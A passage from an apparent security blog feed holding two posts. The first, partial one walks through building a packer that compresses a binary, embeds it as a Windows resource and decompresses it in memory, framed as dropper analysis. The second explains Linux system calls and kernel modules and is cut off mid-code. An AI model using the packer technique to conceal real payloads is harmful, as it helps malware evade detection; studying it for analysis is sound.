<p>Before embedding it, the packer compresses the binary. Here we use zlib&rsquo;s <code>compress2()</code> at maximum level. The program below reads a file, compresses it, and writes the result to <code>compressed_binary</code>.</p>
<pre><code class="language-c">#include &lt;zlib.h&gt;
#include &lt;unistd.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;fcntl.h&gt;
#include &lt;stdio.h&gt;

int main(int ac, char **av)
{
    if (ac != 3) {
        printf(&quot;Usage: %s &lt;src_file&gt; &lt;size_of_file&gt;\n&quot;, av[0]);
        return EXIT_FAILURE;
    }

    /* input */
    char *clear_filename = av[1];
    int src_size = atoi(av[2]);
    char *clear = (char *)malloc(sizeof(char) * src_size);

    /* output */
    char *compressed = (char *)malloc(sizeof(char) * src_size);
    uLongf dst_size;

    /* reading and compression */
    int fd_rd = open(clear_filename, O_RDONLY);
    read(fd_rd, clear, src_size);
    close(fd_rd);
    compress2((Bytef *)compressed, &amp;dst_size, (Bytef *)clear, (uLong)src_size, 9);

    /* writing */
    int fd_wr = open(&quot;compressed_binary&quot;, O_WRONLY | O_CREAT, 0444);
    write(fd_wr, compressed, dst_size);
    close(fd_wr);

    return EXIT_SUCCESS;
}
</code></pre>
<p>Reading it through: the program takes the file name and its size in bytes as arguments. It allocates a <code>clear</code> buffer for the source data and a <code>compressed</code> buffer for the output, with <code>dst_size</code> receiving the final compressed length. It reads the source with <code>open()</code> and <code>read()</code>, then calls zlib&rsquo;s <code>compress2()</code>, whose prototype is:</p>
<pre><code class="language-c">int compress2(Bytef *dest, uLongf *destLen, const Bytef *source, uLong sourceLen, int level);
</code></pre>
<ul>
<li><code>dest</code>: where the compressed data is written.</li>
<li><code>destLen</code>: where the compressed size in bytes is written.</li>
<li><code>source</code>: where the data to compress is read from.</li>
<li><code>level</code>: compression level, <code>9</code> being the maximum.</li>
</ul>
<p>Finally it writes the compressed bytes to <code>compressed_binary</code>. Compile against zlib (<code>-lz</code>) and run it:</p>
<pre><code>gcc compress.c -o compress -lz

ls -l hidden.exe
# -rwxrwxr-x 1 ech0 ech0 316853 avril 13 23:55 hidden.exe

./compress hidden.exe 316853

file compressed_binary
# compressed_binary: zlib compressed data
</code></pre>
<p>The payload compressed cleanly, shrinking from 316853 to 89766 bytes. Size reduction is a side effect; the real goal is to stash the binary in the resources.</p>
<div class="admonition note">
<p>In a real sample there would usually be an additional encryption layer at this point, for example a one-time-pad mask also stored in the resources. For this walkthrough we stay with compression alone, but expect to peel off a cipher in practice.</p>
</div>
<h3 id="embedding-it-as-a-resource">Embedding it as a resource</h3>
<p>With the compressed payload ready, we describe it to <code>windres</code> with a resource (<code>.rc</code>) file:</p>
<pre><code>IDR_RCDATA0 RCDATA compressed_binary
</code></pre>
<p>The syntax is straightforward:</p>
<ul>
<li><code>IDR_RCDATA0</code>: the resource name.</li>
<li><code>RCDATA</code>: the resource type (raw data).</li>
<li><code>compressed_binary</code>: the file to include as a resource.</li>
</ul>
<p>Then <code>windres</code> turns the <code>.rc</code> file into a COFF object (a Windows object file) we can link in:</p>
<pre><code>x86_64-w64-mingw32-windres compressed_binary.rc -O coff -o compressed_binary.rc.o
</code></pre>
<p>At this point the working directory looks like this:</p>
<pre><code>.
├── compress
├── compress.c
├── compressed_binary
├── compressed_binary.rc
├── compressed_binary.rc.o
├── hidden.c
└── hidden.exe

0 directories, 7 files
</code></pre>
<p>The resource is ready. Everything from here is the recovery side: the code that finds this embedded resource, pulls it out, and decompresses it in memory.</p>
<h2 id="recovering-the-payload">Recovering the payload</h2>
<p>The unpacker is itself a PE32+ binary, since this is the code that runs on the target and recovers the dropped payload from its own resources.</p>
<h3 id="finding-and-extracting-the-resource">Finding and extracting the resource</h3>
<p>Recovery uses three Windows API calls: <code>FindResourceA</code>, <code>LoadResource</code>, and <code>LockResource</code>. The Microsoft documentation covers them in full, so here is just the code that pulls a resource out of the binary&rsquo;s own <code>.rsrc</code> section:</p>
<pre><code class="language-c">#include &lt;windows.h&gt;

int main(void)
{
    HRSRC   hRes;
    HGLOBAL hResLoad;
    PUCHAR  Data;

    hRes = FindResourceA(NULL, &quot;IDR_RCDATA0&quot;, RT_RCDATA);
    hResLoad = LoadResource(NULL, hRes);
    Data = LockResource(hResLoad);
}
</code></pre>
<p>It compiles:</p>
<pre><code>x86_64-w64-mingw32-gcc depacker.c -o depacker.exe
</code></pre>
<p>But we have not yet linked our resource into this binary, so the lookup for <code>IDR_RCDATA0</code> can only fail. In fact, there is no <code>.rsrc</code> section in the binary at all:</p>
<pre><code>$ readpe -S depacker.exe | grep 'Name:'
        Name:                            .text
        Name:                            .data
        Name:                            .rdata
        Name:                            .pdata
        Name:                            .xdata
        Name:                            .bss
        Name:                            .idata
        Name:                            .CRT
        Name:                            .tls
</code></pre>
<p>We fix that by linking the resource object file into the build:</p>
<pre><code>$ x86_64-w64-mingw32-gcc depacker.c compressed_binary.rc.o -o depacker.exe
$ readpe -S depacker.exe | grep 'Name:'
        Name:                            .text
        Name:                            .data
        Name:                            .rdata
        Name:                            .pdata
        Name:                            .xdata
        Name:                            .bss
        Name:                            .idata
        Name:                            .CRT
        Name:                            .tls
        Name:                            .rsrc
</code></pre>
<p>Now <code>.rsrc</code> is present, carrying our compressed <code>hidden.exe</code>. The unpacker can extract the resource into memory. What remains is to decompress it.</p>
<h3 id="decompressing-in-memory">Decompressing in memory</h3>
<p>To unpack the payload we need four things: the compressed data, the size of the compressed data, the size of the decompressed data (to allocate the output buffer), and a decompression function. We have the data and the function. The two sizes have to be supplied to the program; here we simply hard-code them.</p>
<div class="admonition tip">
<p>Hard-coding the sizes is a shortcut for the walkthrough. A real packer would carry them the same way it carries the payload, for instance in a second resource (<code>IDR_RCDATA1</code>) that the unpacker reads first. When analysing a sample, that is exactly the kind of companion resource worth looking for.</p>
</div>
<p>We also need zlib for Windows. There is no need for a Windows machine to build it: we cross-compile it with mingw on Linux.</p>
<pre><code>wget http://zlib.net/zlib-1.2.12.tar.gz
tar xf zlib-1.2.12.tar.gz
rm zlib-1.2.12.tar.gz
cd zlib-1.2.12

# Affect PREFIX = x86_64-w64-mingw32-
vim win32/Makefile.gcc

# Cross-Compilation of zlib via mingw
BINARY_PATH=/usr/x86_64-w64-mingw32/bin INCLUDE_PATH=/usr/x86_64-w64-mingw32/include LIBRARY_PATH=/usr/x86_64-w64-mingw32/lib make -f win32/Makefile.gcc
</code></pre>
<p>With zlib in hand, the final unpacker retrieves the resource and decompresses it in place:</p>
<pre><code class="language-c">#include &lt;windows.h&gt;
#include &quot;zlib.h&quot;

int main(void)
{
    HRSRC   hRes;
    HGLOBAL hResLoad;
    PUCHAR  Data;

    PUCHAR uncompressed;
    ULONG src_size = 89766; // Hard-coded size of compressed binary
    ULONG dst_size = 316853; // Hard-coded size of decompressed binary

    hRes = FindResourceA(NULL, &quot;IDR_RCDATA0&quot;, RT_RCDATA);
    hResLoad = LoadResource(NULL, hRes);
    Data = LockResource(hResLoad);

    uncompressed = (PUCHAR)malloc(sizeof(char) * (dst_size + 1));
    uncompress(uncompressed, &amp;dst_size, Data, src_size);
}
</code></pre>
<p>The <code>uncompress()</code> function mirrors the <code>compress2()</code> we used to pack the payload in the first place. We compile, pointing at our cross-compiled zlib with <code>-L</code>, <code>-lz</code>, and <code>-I</code>:</p>
<pre><code>x86_64-w64-mingw32-gcc depacker.c compressed_binary.rc.o -o depacker.exe -L./zlib-1.2.12/ -lz -I zlib-1.2.12/
</code></pre>
<p>The unpacker is complete: it locates the resource, extracts it, and decompresses the original <code>hidden.exe</code> back into memory. You can run it in a Windows environment to confirm.</p>
<h2 id="where-the-trail-leads-next">Where the trail leads next</h2>
<p>As written, the unpacker stops at &ldquo;in memory&rdquo;: it recovers the payload but never runs it. In a real sample that final step, getting the decompressed binary to execute, is the whole purpose, and it is called dropping (here, dropping from the resources), performed by a dropper. There are several ways to reach it: writing the payload to disk and launching it, mapping and running it directly in memory, DLL injection, process hollowing, and so on. Each of those is its own analysis problem.</p>
<p>Resource storage is also just one source among many. The same dropper pattern applies whether the hidden binary sits in the resources as it does here, in a separate section, split across several sections, or fetched over the network at runtime. The carrier changes; the shape of the technique does not. Recognise that shape, know where to look, and the payload stops hiding.</p>]]></description>
    </item>
    <item>
      <title>Two ways into ring 0: system calls and kernel modules</title>
      <link>https://sigreturn.com/blog/two-ways-into-ring-0/</link>
      <guid isPermaLink="true">https://sigreturn.com/blog/two-ways-into-ring-0/</guid>
      <pubDate>Tue, 05 Apr 2022 12:00:00 +0000</pubDate>
      <author>contact@sigreturn.com (Adam Taguirov)</author>
      <category>System Internals</category>
      <category>linux</category>
      <category>kernel</category>
      <category>syscall</category>
      <category>kernel-module</category>
      <category>c</category>
      <description><![CDATA[<p>A running Linux system is split in two. User-land code runs in ring 3, unprivileged and sandboxed away from the hardware. The kernel runs in ring 0, with full control over memory, devices, and every process on the machine. The boundary between them is deliberate and well guarded: ring 3 code cannot simply jump into ring 0 and start touching kernel memory.</p>
<p>So how does a process ever get privileged work done? It asks. Every time you open a file, send a packet, or fork a process, your code crosses that boundary in a controlled way, runs some kernel code on your behalf, and comes back with a result. The interesting question for anyone who works close to the kernel is the inverse one: how do you <em>extend</em> the kernel so it offers new privileged entry points of your own?</p>
<p>There are two answers, and they sit at opposite ends of the same axis.</p>
<ul>
<li>A <strong>system call</strong> is a <em>static</em> entry point. You write a function in ring 0, bake it into the kernel image, recompile the whole kernel, and boot into it. From then on the call is part of the operating system, addressable by a fixed number.</li>
<li>A <strong>kernel module</strong> is a <em>dynamic</em> entry point. You write ring 0 code, compile it on its own, and load it into a running kernel at runtime. No recompile, no reboot, and you can unload it just as easily.</li>
</ul>
<p>In this post we build both, with real code, and we watch them converge. By the end, our module will hand itself its own user/kernel boundary in <code>/dev</code> and answer reads and writes from user-land, which is exactly what a system call does natively. Two mechanisms, one boundary crossing.</p>
<h2 id="path-1-the-system-call">Path 1: the system call</h2>
<p>A system call (like <code>open</code>, <code>write</code>, or <code>read</code>) is nothing more than a function, or a series of functions, running in ring 0. We call it a <em>system call</em> specifically because it can be invoked from ring 3. So our plan is straightforward: write a function in the kernel, register it in the syscall table, recompile, boot, and call it from user-land.</p>
<p>Our example will take a process ID and return a structure full of information about that process: its name, state, stack pointer, birth time, children, parent, root, and working directory. The body of the function is not the point. The point is the wiring that turns an ordinary C function into a system call.</p>
<h3 id="preparing-the-environment">Preparing the environment</h3>
<p>To follow along you need a recent Linux kernel, the usual build tools (<code>gcc</code>, <code>make</code>), and a text editor. Because we are going to recompile the kernel and boot into it, do this on a virtual machine.</p>
<div class="admonition danger">
<p>Recompiling and replacing your kernel can leave a machine unbootable. Do not do this on a system you care about. Work inside a VM, and take a snapshot before you touch the bootloader so a broken boot costs you a rollback rather than a reinstall.</p>
</div>
<p>For this article we used an Ubuntu Server 20.04 VM with bridged networking, 4 GB of RAM, and SSH access. Any distribution and hypervisor will do, with minor differences from what is shown here.</p>
<p>Linux distributions ship kernel headers and object files but not the kernel source. Install it, unpack it, and step into the source tree. The version below is 5.4.0, which you can confirm with <code>uname -r</code>.</p>
<pre><code class="language-bash">sudo apt install linux-source
cd /usr/src/linux-source-5.4.0
sudo bunzip2 linux-source-5.4.0.tar.bz2
sudo tar xf linux-source-5.4.0.tar
cd linux-source-5.4.0/
</code></pre>
<p>We only need a configuration to build against. Generate a minimal default one. A minimal config keeps both the build time and the resulting image small, which is all we want for this exercise.</p>
<pre><code class="language-bash">sudo make defconfig
</code></pre>
<p>You will also need <code>flex</code>, <code>bison</code>, <code>libelf-dev</code>, and <code>libssl-dev</code> to compile the kernel later. Install them the usual way through APT.</p>
<div class="admonition warning">
<p>If you ever build on your native system instead of a VM, clone a fresh tree (<code>git clone git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git</code>) and check out the version matching your distribution rather than editing the kernel you are currently booted on. If your disk is encrypted with cryptsetup, enable <code>DM_CRYPT</code> (<code>make menuconfig</code>, &ldquo;Crypt target support&rdquo;) or you will not be able to unlock it after booting the new kernel.</p>
</div>
<h3 id="the-structure-to-return">The structure to return</h3>
<p>We start with the header, <code>infopid.h</code>. It declares the structure we will fill in the kernel and copy back to user-land. The comments document each field.</p>
<pre><code class="language-c">#ifndef INFOPID_H
#define INFOPID_H

#include &lt;linux/sched.h&gt;
#include &lt;linux/limits.h&gt;
#include &lt;linux/module.h&gt;
#include &lt;linux/kernel.h&gt;
#include &lt;linux/init.h&gt;
#include &lt;linux/fs_struct.h&gt;
#include &lt;linux/slab.h&gt;

/*
 * pid: pid of process
 * name: name of the process
 * state: unrunnable, runnable, stopped
 * stack: pointer to the beginning of process's stack
 * age: birth time in nanoseconds
 * child: array of all child processes pid
 * ppid: parent process id
 * root: root path of process
 * pwd: working directory of process
 */

struct info_pid {
    pid_t pid;
    char name[TASK_COMM_LEN];
    long state;
    void *stack;
    uint64_t age;
    pid_t child[256];
    pid_t ppid;
    char root[PATH_MAX];
    char pwd[PATH_MAX];
};

#endif
</code></pre>
<h3 id="writing-the-call">Writing the call</h3>
<p>The function itself lives in <code>infopid.c</code>. Two details matter more than the rest. First, we define it with the <code>SYSCALL_DEFINE2</code> macro, where the <code>2</code> is the number of parameters. The kernel provides one of these macros per arity, and they take arguments as alternating type/name pairs separated by commas, which is why the signature looks unusual. Second, we never write to the user pointer directly: we build the structure in kernel memory and hand it across the boundary with <code>copy_to_user</code>, which is the only safe way for ring 0 to write into a ring 3 buffer.</p>
<pre><code class="language-c">#include &quot;infopid.h&quot;
#include &lt;linux/syscalls.h&gt;

SYSCALL_DEFINE2(infopid, struct info_pid *, ret_pid, int, pid) {
    struct task_struct *cur, *child;
    struct info_pid *new;
    struct path root, pwd;
    struct pid *spid;
    char *tmp, buffer[PATH_MAX] = {0};
    int i = 0;

    if (!(spid = find_get_pid(pid)))
    {
        return -ESRCH;
    }

    cur = pid_task(spid, PIDTYPE_PID);

    if (!cur) {
        return -ESRCH;
    }

    new = kmalloc(sizeof(struct info_pid), GFP_KERNEL);

    if (!new)
        return -ENOMEM;

    memset(new-&gt;child, 0, 256 * sizeof(pid_t));
    get_fs_root(cur-&gt;fs, &amp;root);
    get_fs_pwd(cur-&gt;fs, &amp;pwd);    
    get_task_comm(new-&gt;name, cur);
    new-&gt;pid = task_pid_nr(cur);
    new-&gt;state = cur-&gt;state;
    new-&gt;stack = cur-&gt;stack;
    new-&gt;age = cur-&gt;start_time;

    list_for_each_entry(child, &amp;cur-&gt;children, sibling) {
        if (i &gt; 255)
            goto out;
        new-&gt;child[i++] = child-&gt;pid;
    }

out:
    new-&gt;ppid = task_pid_nr(cur-&gt;parent);
    spin_lock(&amp;root.dentry-&gt;d_lock);
    tmp = dentry_path_raw(root.dentry, buffer, PATH_MAX);
    strcpy(new-&gt;root, tmp);
    spin_unlock(&amp;root.dentry-&gt;d_lock);

    spin_lock(&amp;pwd.dentry-&gt;d_lock);
    tmp = dentry_path_raw(pwd.dentry, buffer, PATH_MAX);
    strcpy(new-&gt;pwd, tmp);
    spin_unlock(&amp;pwd.dentry-&gt;d_lock);

    if (copy_to_user(ret_pid, new, sizeof(struct info_pid))) {
        kfree(new);
        return -ESRCH;
    }

    kfree(new);

    return 0;
}
</code></pre>
<p>We look the process up by PID, allocate our structure with <code>kmalloc</code>, fill it from the task&rsquo;s <code>task_struct</code>, walk the children list, resolve the root and working-directory paths under the appropriate locks, and copy the whole thing back to the caller. On any failure we return a negative errno, the convention every system call follows.</p>
<h3 id="registering-it-with-the-kernel">Registering it with the kernel</h3>
<p>A function in a <code>.c</code> file is invisible to the kernel until three files in the source tree know about it. This is the static wiring that a module never needs.</p>
<p>First, tell the top-level kernel <code>Makefile</code> to compile our directory by appending it to <code>core-y</code>:</p>
<pre><code>core-y += kernel/ certs/ mm/ fs/ ipc/ security/ crypto/ block/ infopid/
</code></pre>
<p>Then declare the prototype in <code>include/linux/syscalls.h</code>, alongside every other syscall prototype. Use your own absolute path to the header, not the one below:</p>
<pre><code class="language-c">/* Other declarations */
#include &quot;/usr/src/linux-source-5.4.0/linux-source-5.4.0/infopid/infopid.h&quot;
asmlinkage long sys_infopid(struct info_pid *, int);
</code></pre>
<p>Finally, give the call a number by adding it to the architecture&rsquo;s syscall table, <code>arch/x86/entry/syscalls/syscall_64.tbl</code>. Place it last, with the next free index, following the existing nomenclature:</p>
<pre><code># Index  Arch  Name     Entrypoint
  335    64    infopid  __x64_sys_infopid
</code></pre>
<p>That number, <code>335</code>, is the contract. It is how user-land will name the call, and it is frozen the moment we ship the kernel. Hold on to that thought, because it is the sharpest difference between this path and the next one.</p>
<p>Our directory holds three files at this point:</p>
<pre><code>$ tree infopid/
infopid/
├── Makefile
├── infopid.c
└── infopid.h

0 directories, 3 files
</code></pre>
<h3 id="compiling-and-booting">Compiling and booting</h3>
<p>With the call written and registered, build the entire kernel from the source root. Use <code>-j &lt;cores&gt;</code> to parallelise; this takes a while.</p>
<pre><code class="language-bash">sudo make
sudo make modules_install
sudo make install
</code></pre>
<p>After installation, make sure you will actually boot the new kernel. In our case the new build was version 5.4.174, which GRUB ranks above the stock 5.4.0-105 and boots automatically. If yours does not, expose the GRUB menu by editing <code>/etc/default/grub</code> so you can pick the entry, then run <code>sudo update-grub</code>.</p>
<pre><code>#GRUB_TIMEOUT_STYLE=hidden
GRUB_TIMEOUT=4
</code></pre>
<div class="admonition warning">
<p>With Secure Boot enabled in your firmware, a self-compiled kernel will not boot until it is signed. Signing is out of scope here; disable Secure Boot in the VM or sign the image yourself.</p>
</div>
<p>Reboot, and confirm you are on the new kernel:</p>
<pre><code class="language-bash">$ uname -r
5.4.174
</code></pre>
<h3 id="calling-it-from-user-land">Calling it from user-land</h3>
<p>There is no libc wrapper for a call we just invented, so we reach it through the generic <code>syscall()</code> function, passing our number <code>335</code> and the arguments. The program below fills our structure for a given PID (its own by default) and prints everything, walking up the parent chain recursively.</p>
<pre><code class="language-c">#include &lt;stdio.h&gt;
#include &lt;sys/syscall.h&gt;
#include &lt;unistd.h&gt;
#include &lt;inttypes.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;

#define TASK_COMM_LEN 16
#define PATH_MAX 4096

struct info_pid {
    pid_t pid;
    char name[TASK_COMM_LEN];
    long state;
    void *stack;
    uint64_t age;
    pid_t child[256];
    pid_t ppid;
    char root[PATH_MAX];
    char pwd[PATH_MAX];
};

void print_parents(pid_t pid)
{
    struct info_pid new;
    static int index = 0;
    printf(&quot;\tParent %d : %d\n&quot;, index++, pid);

    if (!pid)
        return ;
    int ret = syscall(335, &amp;new, pid);
    if (ret) {
        printf(&quot;syscall failed...\n&quot;);
        perror(&quot;&quot;);
        exit(EXIT_FAILURE);
    }
    print_parents(new.ppid);
}

int main(int ac, char **av)
{
    pid_t pid;
    struct info_pid new;
    memset(&amp;new, 0, sizeof(new));
    new.age = 0;

    if (ac == 1)
        pid = getpid();
    else
        pid = atoi(av[1]);

    int ret = syscall(335, &amp;new, pid);
    if (ret) {
        printf(&quot;syscall failed...\n&quot;);
        perror(&quot;&quot;);
        return EXIT_FAILURE;
    }

    printf(&quot;Printing struct info_pid...\n&quot;);

    printf(&quot;PID       : %d\n&quot;, new.pid);
    printf(&quot;Name      : %s\n&quot;, new.name);
    printf(&quot;State     : %ld\n&quot;, new.state);
    printf(&quot;Stack     : %p\n&quot;, new.stack);
    printf(&quot;Birthtime : %ld\n&quot;, new.age);

    for (int j = 0; j &lt; 255; j++)
    {
        if (!new.child[j])
            break ;
        printf(&quot;\tChild %d  : %d\n&quot;, j, new.child[j]);
    }

    print_parents(new.ppid);

    printf(&quot;Root      : %s\n&quot;, new.root);
    printf(&quot;PWD       : %s\n&quot;, new.pwd);

    return EXIT_SUCCESS;
}
</code></pre>
<p>Compile and run it, once on itself and once on PID 1:</p>
<pre><code>$ gcc test_infopid.c -o test_infopid
$ ./test_infopid # With its own PID by default

Printing struct info_pid...
PID       : 1354
Name      : test_infopid
State     : 0
Stack     : 0xffffb76ac0750000
Birthtime : 1203877852032
    Parent 0 : 776
    Parent 1 : 775
    Parent 2 : 656
    Parent 3 : 551
    Parent 4 : 1
    Parent 5 : 0
Root      : /
PWD       : /home/ech0

$ ./test_infopid 1 # With PID 1

Printing struct info_pid...
PID       : 1
Name      : systemd
State     : 1
Stack     : 0xffffb76ac0010000
Birthtime : 15000000
    Child 0  : 290
    Child 1  : 317
    Child 2  : 500
    Child 3  : 509
    Child 4  : 511
    ...
    Child 18  : 659
    Parent 0 : 0
Root      : /
PWD       : /
</code></pre>
<p>The call works. We extended the kernel with a new privileged entry point and reached it from ring 3 by number. The price was steep, though: a full kernel rebuild, a reboot, and a call number that is now fixed forever. That cost is the whole reason the second path exists.</p>
<h2 id="path-2-the-kernel-module">Path 2: the kernel module</h2>
<p>A module (a <em>driver</em>, in Windows terms) is a piece of ring 0 code that can be loaded into and unloaded from a running kernel on demand. Your system is already full of them. List them with <code>lsmod</code>:</p>
<pre><code>$ lsmod
Module                  Size  Used by
rfcomm                 81920  4
cdc_mbim               20480  0
cdc_wdm                24576  1 cdc_mbim
cdc_ncm                45056  1 cdc_mbim
cdc_ether              20480  1 cdc_ncm
...
</code></pre>
<p>Touchpad, camera, microphone, KVM: all modules. Some of them also expose communication interfaces, often character devices under <code>/dev</code>, the way the KVM module exposes <code>/dev/kvm</code>. We are going to do the same: build a module, load it, and eventually talk to it through <code>/dev</code>.</p>
<p>Everything about this path contrasts with the previous one. No kernel recompile, no new boot, no editing of the source tree. Your default environment is already ready: if you can compile C, you can build a module.</p>
<div class="admonition warning">
<p>The system is (almost) never at risk here. The one real danger is a fault in ring 0 the kernel cannot recover from, which crashes the machine. If that happens, reboot and the module is gone. That alone is a reason to prototype modules in a VM too.</p>
</div>
<h3 id="a-minimal-module">A minimal module</h3>
<p>A single file is enough to start:</p>
<pre><code>$ tree my_module/
my_module/
└── my_module.c

0 directories, 1 file
</code></pre>
<pre><code class="language-c">#include &lt;linux/module.h&gt;
#include &lt;linux/kernel.h&gt;
#include &lt;linux/init.h&gt;

MODULE_LICENSE(&quot;GPL&quot;);
MODULE_AUTHOR(&quot;Sigreturn Labs&quot;);
MODULE_DESCRIPTION(&quot;Hello World module&quot;);

static int __init hello_init(void) {
    printk(KERN_INFO &quot;Hello World !\n&quot;);
    return 0;
}

static void __exit hello_cleanup(void) {
    printk(KERN_INFO &quot;Cleaning up module.\n&quot;);
}

module_init(hello_init);
module_exit(hello_cleanup);
</code></pre>
<p>Reading top to bottom: we include the kernel headers we need; the <code>MODULE_*</code> macros attach metadata (license, author, description); two functions tagged <code>__init</code> and <code>__exit</code> run when the module is loaded and unloaded; and <code>module_init</code> / <code>module_exit</code> register them with the kernel. For now both functions just print to the kernel log with <code>printk</code>.</p>
<p>Notice there is no syscall table, no <code>core-y</code>, no prototype to declare. The module announces its own entry points to the kernel through <code>module_init</code> and <code>module_exit</code>, at load time, rather than being wired into the kernel image ahead of time.</p>
<h3 id="compiling-and-loading">Compiling and loading</h3>
<p>Modules build against the running kernel&rsquo;s headers, so the Makefile delegates to the kernel build system rather than calling <code>gcc</code> directly:</p>
<pre><code class="language-makefile">FILE := &quot;my_module&quot;
obj-m += my_module.o

all:
    echo &quot;Compiling $(FILE)...&quot;
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:  
    echo &quot;Cleaning modules...&quot;
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
    rm -rf .$(FILE).ko.cmd .$(FILE).mod.o.cmd .$(FILE).o.cmd .cache.mk .tmp_versions $(FILE).ko $(FILE).o $(FILE).mod.c $(FILE).mod.o modules.order Module.symvers 2&gt;&amp;-
</code></pre>
<p>Build it:</p>
<pre><code class="language-bash">make
</code></pre>
<p>The compilation drops several files in the directory. The one that matters is <code>my_module.ko</code>, the kernel object we load with <code>insmod</code>:</p>
<pre><code class="language-bash">sudo insmod my_module.ko
</code></pre>
<div class="admonition warning">
<p>As with a self-compiled kernel, an unsigned module will not load under Secure Boot. Module signing is out of scope here.</p>
</div>
<p><code>dmesg</code> shows the string our init function printed:</p>
<pre><code>[309528.612844] Hello World !
</code></pre>
<p>Unload it with <code>rmmod</code> and watch the cleanup function fire:</p>
<pre><code>$ sudo rmmod my_module
[309551.667600] Cleaning up module.
</code></pre>
<p>That is the entire load/unload lifecycle, and it took no reboot and no kernel rebuild. We could stop here. But a module that only writes to the log is not talking to user-land yet, and that is where this path catches up with the first one.</p>
<h2 id="closing-the-loop-a-misc-device">Closing the loop: a misc device</h2>
<p>Our system call could be reached from user-land because the kernel exposed it through the syscall table. A module gets no such entry in the table. So we give it its own front door: a <em>misc device</em>, a simple character device that appears under <code>/dev</code> and routes reads and writes to functions we define. In other words, the module is about to build the same kind of user/kernel boundary that a syscall enjoys natively, only this time we build it by hand.</p>
<p>To keep the mechanism in focus, the behaviour stays trivial: a write stores exactly ten bytes in a static buffer, and a read returns them. It looks pointless, and it is exactly enough to expose every subtlety that matters.</p>
<h3 id="registering-the-device">Registering the device</h3>
<p>We declare the device structure as a static global:</p>
<pre><code class="language-c">static struct miscdevice my_dev;
</code></pre>
<p>In <code>hello_init</code> we fill a few fields and register it. A dynamic minor number lets the kernel assign one for us:</p>
<pre><code class="language-c">my_dev.minor = MISC_DYNAMIC_MINOR; // a dynamic minor number is requested
my_dev.name = &quot;my_module_misc&quot;; // name of the misc device
my_dev.fops = &amp;my_fops; // operations structure
ret = misc_register(&amp;my_dev); // registering the misc device
</code></pre>
<p>The <code>fops</code> field points at a <code>file_operations</code> structure, which is the heart of the interface: it tells the kernel which function to call for each operation on the device. We wire up read and write:</p>
<pre><code class="language-c">struct file_operations my_fops = {
    .read = hello_read,
    .write = hello_write
};
</code></pre>
<p>And we deregister the device when the module unloads, in <code>hello_cleanup</code>:</p>
<pre><code class="language-c">misc_deregister(&amp;my_dev);
</code></pre>
<p>This needs three more headers (<code>miscdevice.h</code>, <code>uaccess.h</code>, <code>fs.h</code>). The skeleton now looks like this, still missing the two operation functions:</p>
<pre><code class="language-c">#include &lt;linux/module.h&gt;
#include &lt;linux/kernel.h&gt;
#include &lt;linux/init.h&gt;
#include &lt;linux/miscdevice.h&gt;
#include &lt;linux/uaccess.h&gt;
#include &lt;linux/fs.h&gt;

MODULE_LICENSE(&quot;GPL&quot;);
MODULE_AUTHOR(&quot;Sigreturn Labs&quot;);
MODULE_DESCRIPTION(&quot;Hello World module&quot;);

static struct miscdevice my_dev;

struct file_operations my_fops = {
    .read = hello_read,
    .write = hello_write
};

static int __init hello_init(void) {
    int ret;

    printk(KERN_INFO &quot;Hello World !\n&quot;);

    my_dev.minor = MISC_DYNAMIC_MINOR;
    my_dev.name = &quot;my_module_misc&quot;;
    my_dev.fops = &amp;my_fops;
    ret = misc_register(&amp;my_dev);

    return ret;
}

static void __exit hello_cleanup(void) {
    printk(KERN_INFO &quot;Cleaning up module.\n&quot;);
    misc_deregister(&amp;my_dev);
}

module_init(hello_init);
module_exit(hello_cleanup);
</code></pre>
<h3 id="the-write-operation">The write operation</h3>
<pre><code class="language-c">static ssize_t hello_write(struct file *f, const char __user *s, size_t n, loff_t *o)
{
    int retval = -EINVAL;

    if (!f || !s)
        return -EFAULT;
    if (n != LEN)
        return -EINVAL;

    retval = copy_from_user(buf, s, LEN);

    if (retval)
        return -EFAULT;

    printk(KERN_INFO &quot;I have successfully written %s in buffer.&quot;, buf);

    return LEN;
}
</code></pre>
<p>The prototype is fixed by the kernel: <code>f</code> is the file descriptor for the device, <code>s</code> is the user-land pointer to the data the caller wrote, <code>n</code> is how many bytes they offered, and <code>o</code> is the current offset into the file. We reject null pointers, insist on exactly <code>LEN</code> bytes, and then pull the data across the boundary with <code>copy_from_user</code>, the mirror image of the <code>copy_to_user</code> we used in the syscall. It copies <code>LEN</code> bytes from the user pointer <code>s</code> into our kernel buffer <code>buf</code> and returns zero on success.</p>
<div class="admonition warning">
<p>Return the right byte count. Returning <code>0</code> from a write or read tells the caller nothing happened, and many programs will simply call again, spinning the function forever. It is easy to lock up the kernel this way (unless you are quick with an <code>rmmod</code>).</p>
</div>
<h3 id="the-read-operation">The read operation</h3>
<pre><code class="language-c">static ssize_t hello_read(struct file *f, char __user *s, size_t n, loff_t *o)
{
    if (!f || !s || !o)
        return -EFAULT;
    if (*o &gt;= LEN)
        return 0;
    if (n &gt; LEN)
        n = LEN;
    if (copy_to_user(s, &amp;buf[*o], n))
        return -EFAULT;

    *o += n;

    return n;
}
</code></pre>
<p>The checks mirror the write path, with one addition that carries the whole design: the offset <code>*o</code>. When the reader has consumed everything, we must return <code>0</code> to signal end of data, and we decide that by comparing the offset against <code>LEN</code>. We also clamp <code>n</code> so a caller can never read past what we stored. Then we copy from <code>buf[*o]</code> (not from the start), advance the offset by the number of bytes sent, and return that count.</p>
<p>Why bother with the offset at all, rather than copying the whole string in one shot? Because <code>cat</code> is not the only reader. Run <code>cat</code> on the device and it requests a large page, far more than our ten bytes, so a single copy would satisfy it. But a program can issue <code>read()</code> directly, asking for two bytes at a time, and a real buffer could be larger than one page. If a caller asks for fewer bytes than we hold, the offset is what lets us resume from where the last read stopped. Chain enough <code>read()</code> calls and the caller recovers the entire buffer, no matter how small each request is.</p>
<h3 id="testing-it">Testing it</h3>
<p>The final module, with <code>LEN</code> and the static buffer defined:</p>
<pre><code class="language-c">#include &lt;linux/module.h&gt;
#include &lt;linux/kernel.h&gt;
#include &lt;linux/init.h&gt;
#include &lt;linux/miscdevice.h&gt;
#include &lt;linux/uaccess.h&gt;
#include &lt;linux/fs.h&gt;

MODULE_LICENSE(&quot;GPL&quot;);
MODULE_AUTHOR(&quot;Sigreturn Labs&quot;);
MODULE_DESCRIPTION(&quot;Hello World module&quot;);

#define LEN 10

static struct miscdevice my_dev;
static char buf[LEN];

